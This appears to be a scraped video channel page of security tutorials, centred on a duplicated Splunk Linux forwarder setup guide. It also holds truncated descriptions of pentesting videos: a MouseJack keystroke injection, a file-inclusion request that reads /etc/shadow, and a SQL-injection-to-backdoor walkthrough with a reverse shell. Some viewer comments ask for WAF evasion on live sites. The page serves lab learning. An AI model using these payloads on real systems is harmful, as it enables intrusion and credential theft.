- 10
- 124 091
Sqearl Salazar
เข้าร่วมเมื่อ 27 มิ.ย. 2016
Splunk Tutorial- Linux Forwarder & Addon Setup
Download and update Ubuntu 16 server:
releases.ubuntu.com/16.04/
sudo apt-get update
sudo apt-get install openssh-server -y
sudo apt-get upgrade
sudo apt-get dist-upgrade
Start of video:
First thing, we need to make sure Splunk is configured to receive data
Settings - Forwarding and Receiving - Receive Data
Create listening port 9997
Also make sure the local fw is enabled (HomeIDS)
sudo ufw allow 9997
Create new index for linux
Make sure our role can search the index by default
Settings - Access Controls - Roles - instances searched by default
Install Linux Add-on
splunkbase.splunk.com/app/833/
Download Splunk forwarder:
www.splunk.com/en_us/download/universal-forwarder.html
www.splunk.com/en_us/download/universal-forwarder.html#tabs/linux
sudo dpkg -i splunk_forwarder_package…
sudo /opt/splunkforwarder/bin/splunk start --accept-license --answer-yes
admin / password
sudo ./splunk add forward-server 192.168.0.77:9997
sudo /opt/splunk/bin/splunk enable boot-start
Download the splunk add-on for unix and linux and scp it to the ubuntu machine
sudo tar -zxvf splunk-add-on-...
sudo chown -R splunk:splunk Splunk_TA_nix
sudo mv Splunk_TA_nix /opt/splunkforwarder/etc/apps/
sudo vi /opt/splunkforwarder/etc/apps/Splunk_TA_nix/default/inputs.conf
Enable things and change the intervals
Add index=linux to each
Ps, increase interval
Netstat
Openports
Who
/var/log
Root & user bash history
Restart splunk
Data should be showing up in splunk now.
If you're having an issue with the timezone being UTC, change your users settings:
Settings -Access Controls - Users - Edit USER
-Time Zone
releases.ubuntu.com/16.04/
sudo apt-get update
sudo apt-get install openssh-server -y
sudo apt-get upgrade
sudo apt-get dist-upgrade
Start of video:
First thing, we need to make sure Splunk is configured to receive data
Settings - Forwarding and Receiving - Receive Data
Create listening port 9997
Also make sure the local fw is enabled (HomeIDS)
sudo ufw allow 9997
Create new index for linux
Make sure our role can search the index by default
Settings - Access Controls - Roles - instances searched by default
Install Linux Add-on
splunkbase.splunk.com/app/833/
Download Splunk forwarder:
www.splunk.com/en_us/download/universal-forwarder.html
www.splunk.com/en_us/download/universal-forwarder.html#tabs/linux
sudo dpkg -i splunk_forwarder_package…
sudo /opt/splunkforwarder/bin/splunk start --accept-license --answer-yes
admin / password
sudo ./splunk add forward-server 192.168.0.77:9997
sudo /opt/splunk/bin/splunk enable boot-start
Download the splunk add-on for unix and linux and scp it to the ubuntu machine
sudo tar -zxvf splunk-add-on-...
sudo chown -R splunk:splunk Splunk_TA_nix
sudo mv Splunk_TA_nix /opt/splunkforwarder/etc/apps/
sudo vi /opt/splunkforwarder/etc/apps/Splunk_TA_nix/default/inputs.conf
Enable things and change the intervals
Add index=linux to each
Ps, increase interval
Netstat
Openports
Who
/var/log
Root & user bash history
Restart splunk
Data should be showing up in splunk now.
If you're having an issue with the timezone being UTC, change your users settings:
Settings -Access Controls - Users - Edit USER
-Time Zone
มุมมอง: 9 080
วีดีโอ
SIEM Setup- Splunk & Security Onion Install
มุมมอง 9K6 ปีที่แล้ว
If you still need to install Security Onion: th-cam.com/video/vTLt7dl5IYI/w-d-xo.html In this video I install Splunk Enterprise on our Security Onion server to ingest and correlate logs across multiple sources. Splunk Apps provide additional investigation capabilities, which you can leverage to configure Splunk as a SIEM. Links for this video: Splunk Enterprise Trial www.splunk.com/en_us/downlo...
Intrusion Detection System Tutorial: Setup Security Onion 2019
มุมมอง 13K6 ปีที่แล้ว
This is a 2019 update to a video i made a few years ago: th-cam.com/video/kqD3IzhKUQI/w-d-xo.html I'll show you how to setup Security Onion, an open-source intrusion detection system packaged into a Linux distro. SecOnion is perfect for getting an intrusion detection system up and running quickly, and has some cool additional features like HIDS, SIEM, root kit detection, and file integrity moni...
MouseJack Attack- Injection Demo
มุมมอง 12K8 ปีที่แล้ว
In this video, i'm using jackit.py and the crazyradio PA dongle to send commands to a victim machine. The machine only needs to have one of these commonly found USB dongles inserted to allow remote control of the system. I'm then connecting my desktop(victim) to a remote AWS instance, which I can then issue further commands and gain privileged & persistent access (w/ empire)
MouseJack Attack- Injection w/ Jackit
มุมมอง 4.9K8 ปีที่แล้ว
Before you can launch jackit, please refer to the setup video to prepare you PA dongle: th-cam.com/video/BEUCcRL219k/w-d-xo.html #Other tools: #sudo git clone github.com/iamckn/mousejack_transmit) for capture & replay feature #Start Video: sudo git clone github.com/insecurityofthings/jackit cd jackit sudo pip install -r requirements.txt sudo touch pspwn sudo vi pspwn GUI r DELAY 200 STRING powe...
MouseJack Attack- Setup and Scan for Vulnerable Mice
มุมมอง 11K8 ปีที่แล้ว
All links and commands are in the description- Please check your work/home space for these vulnerable mice. Patch or replace them asap! Resources: Virtualbox: www.virtualbox.org/wiki/Downloads 2x Ubuntu 14 Server: 1 local, 1 AWS (AMI) releases.ubuntu.com/14.04/ Crazy Radio PA Dongle: www.seeedstudio.com/depot/Crazyradio-PA-long-range-24Ghz-USB-radio-dongle-with-antenna-p-2104.html Bastille Rese...
Intrusion Detection System Tutorial: Setup Security Onion
มุมมอง 53K8 ปีที่แล้ว
In this video, I'll show you how to setup Security Onion, an open-source intrusion detection system packaged into a Linux distro. SecOnion is perfect for getting an intrusion detection system up and running quickly, and has some cool additional features like HIDS, SIEM, root kit detection, and file integrity monitoring. For this to work, you will need a switch capable of SPANing/mirroring netwo...
Web App Pentesting- File Include & Post Exploitation
มุมมอง 3.1K8 ปีที่แล้ว
-Determine php include vulnerabilities on server nikto -h 192.168.87.135 -Test php include 192.168.87.135/index.php?page=/etc/shadow -Error tell us no file in current directory, and that .php was passed -We need to nullify the .php aspect, and only pass the command (this doesn’t work past 5.3.4) -So let's modify: 192.168.87.135/index.php?page=/etc/shadow -Add shadow to remove .php command 192....
ThinkPwn UEFI Exploit: Testing for Vulnerable Systems
มุมมอง 3K8 ปีที่แล้ว
From ThinkPwn Github: The ThinkPwn vulnerability "allows attackers to disable flash write protection and infect platform firmware, disable Secure Boot, bypass Virtual Secure Mode (Credential Guard, etc.) on Windows 10 Enterprise and do others evil things." Credit for this exploit goes to the creator: Cr4sh: github.com/Cr4sh Check out the ThinkPwn github page for more info and details: github.co...
Web App Pentesting- SQL Injection & Php Backdoor
มุมมอง 6K8 ปีที่แล้ว
Identify SQL injection vulnerabilities, enumerate MySQL database with sqlmap, upload weevley php backdoor, create reverse tcp shell PentesterLab Sqli2Shell iso & course details: pentesterlab.com/exercises/from_sqli_to_shell Kali 2 iso: www.kali.org/downloads/ Boot these virtual machines using your hyper-visor of choice. SQLi to Shell Detect SQLi vulnerabilities w/ ' (single quote) Use sqlmap to...
Hello! Could you help me to patch nrf24 firmware on my crazyradio pa?
Boss, could you please create a comprehensive video series covering advanced topics such as advanced time based blind SQL injection injection, XSS, LFI, RFI, and RCE, including the process of uploading web shells on Apache and IIS web servers in live website scenarios? Traditional platforms like test.vulner, DVWA, bWapp, PortSwigger, etc., fail to address real-world challenges like identifying origin IPs, DNS brute force attacks, reverse IP lookups, WAF/IDS/IPS circumvention, AWS/CDN/Tor, reverse proxies, and CMS security 🤙. Your unique content would be invaluable in educating the bug bounty hunting community about genuine issues and solutions. Thanks in advance for your contributions to the community.
Boss, I am learning bug bounty hunting by myself. I have solved DVWA portswigger bWapp labs, etc, and many other online labs, but I can't win a single valid bug bounty on HackerOne Bugcrowd Intigrity 😢😭😥. Please educate us and all new bug hunters like how to find n exploit valid SQLi XSS CSRF XXE LFI RFI RCE OS COMMAND INJECTION Host header Injection vulnerabilities manually using Burpsuite professional, automatically using shell scripts tools commands because on Real websites bug hunting is very difficult 😑 and tough as compared to sample labs as all websites are tightly protected by latest Cloudflare Akamai ModSecurity AWS CDN etc like WAF 😵💫🤯💥😥😭... Hope to get your kind advice with real-time practical videos on all major website vulnerabilities from basic to ultra advanced levels... in order to win a single bug bounty at least 🤲😢😭😥... Thanks in advance for your help and support, like 👍 👌 🙏 😊 ❤️ 💕 👍 always. Best regards, 👍❤️💚💜💯🥰🤝
Wow. You made this EXTREMELY simple. Just watching you do it made it so much simpler. Thank you!
hi can you pls show me how to install and configure crazyradio PA on kali linux, when i try to install it , make install on issue....help pls !!
Can you make an updated version
you are good
bro want full vedio by parts plz cant keep finding like this
So nice
I could never understand how to deploy the SQL iso. I made a new VM with the ISO. It throws a 10.x.x.x address and I can't reach that address.. I'm so confused.. Do I create a kali machine and another one with the ISO or do I have to pull that iso within my kali machine? How did you make that 192.168 address show up on your kali? I'm stuck and the stupid Oreilly books assume you are already OSEE certified..
I learned more about splunk from this video than anywhere else I've looked. Including taking splunk fundamentals 1 and 2. I'd like to be able to send you some questions.
But you may have answered them. I have to wait till I get back to the SOC and log in to our splunk and check.
is it possible to install git inside the Splunk Enterprise server of any organisation?/note:Splunk is not installed locally on my system.
You seem like someone who I could reach out to for help. Currently I am trying to get my Ubuntu instance on VirtualBox to ingest my mac's system logs and performance data as remote logs. However, no logs appear on the Ubuntu instance and I am having great trouble. Any help would be appreciated! You may pm me your contact method. Thanks!
Nice hunting
Can you explain to us how this vulnerability works and how to protect my device from it? There are many blogs telling me there is no solution and thank you ... github.com/Cr4sh/SmmBackdoor
Is they a new updated Security Onion app now it does not work on Splunk any longer?
WARNING: some apps don't work anymore. Due to advanced XML being deprecated by Splunk.
Thanks for the video, really aswesome. I'm having issues setting this up on a distributed install, can you help?
Thanks for the video...
Great information!!!
Very cool stuff there , extremely helpful , thanks a bunch and keep smiling :-)
Cool
Any help from your end...?
Bro: I was trying to enable the SSL as per your above instruction but couldn't my hand around it. I checked on both the Windows 10 settings and my Oracle VM settings but couldn't go beyond server Settings which brings up the Proxy setting
could you share the source link of the scripts(especially pwn and empire one)
jackit.py can be found on github. As far as empire, I see in the video there is a link to PowerShellEmpire.com although I don't know if you'll find the code there as I haven't checked it
Dude, again awesome! Thanks so much!
YES! dude this is great! thanks so much.
Thanks for this video ..its really awesome.. much appreciated
This is great stuff, thanks for posting this videos. Keep up the good work!
The splunk start command did not work for the latest version 7.3.2
I apologize, I am very very new to this and just trying to learn. If I understand correctly I have to have 2 network cards installed to use the method described in the video? I am guessing since I just have 1 I can go Amazon and buy a second and install it ?
Great tutorial. This has been helpful setting up splunk as the SIEM for my security lab. Thanks Sqearl!
Does this work on Kali Linux???
Hello sir. Why u installing the apps in the windows host mashine instead of security onion?
that's his test enviroment and where it's supposed to work. (Splunk & Security Onion) so it's installed in Ubuntu (with xfce graphic enviroment) = Security Onion with ready to go tools. Also he's installing Splunk for log analysis (still trying to figure out what splunk really does on top of others (or not)...
Great video. Thank you.
Great video! Where is the next vid?
Nice tutorial, successfully tested on VirtualBox. however when i installed on bare metal, after step 1 of setup the ip addresses of both interfaces (wlan-- for management, ethernet for sniffing) vanished and disappeared. Need your expert opinion in this regard. Thanks
where can i get one of these mousejackers?
After about 4 days my search quit working as the index reached the limit. I tried using the clean "clean eventdata" command and and even reinstalled Splunk, but neither worked. Do you have any advice on this?
I'm trying to figure out how to use the "clean eventdata" command. I'm getting an error that says my 5000 space limit has been reached. I can find the path to clear space. Setting the limit to 20000 didn't work. I'm unable to use the search function after 4 days of lab practice.
Can I run Splunk without a license?
You can run a trial license for 30 days, then you have to convert to a free license. Something you could run internally for lab/testing, but not enterprise.
This is awesome, hope to see more from you.
great work bro
When i issue the command info it comes up with invalid listener name
~/Empire# sudo ./empire Traceback (most recent call last): File "./empire", line 13, in <module> from lib.common import empire, helpers File "/root/Empire/lib/common/__init__.py", line 8, in <module> import helpers File "/root/Empire/lib/common/helpers.py", line 53, in <module> import netifaces ImportError: No module named netifaces
Where did you get the port number from, 5412?
you can use any port no
thanks mate, your videos help a lot.
What next?
So it should work on every wireless mouse am i right?
I am unable to load jackit.py. could you please advise, I have followed all you videos, is there something that I am missing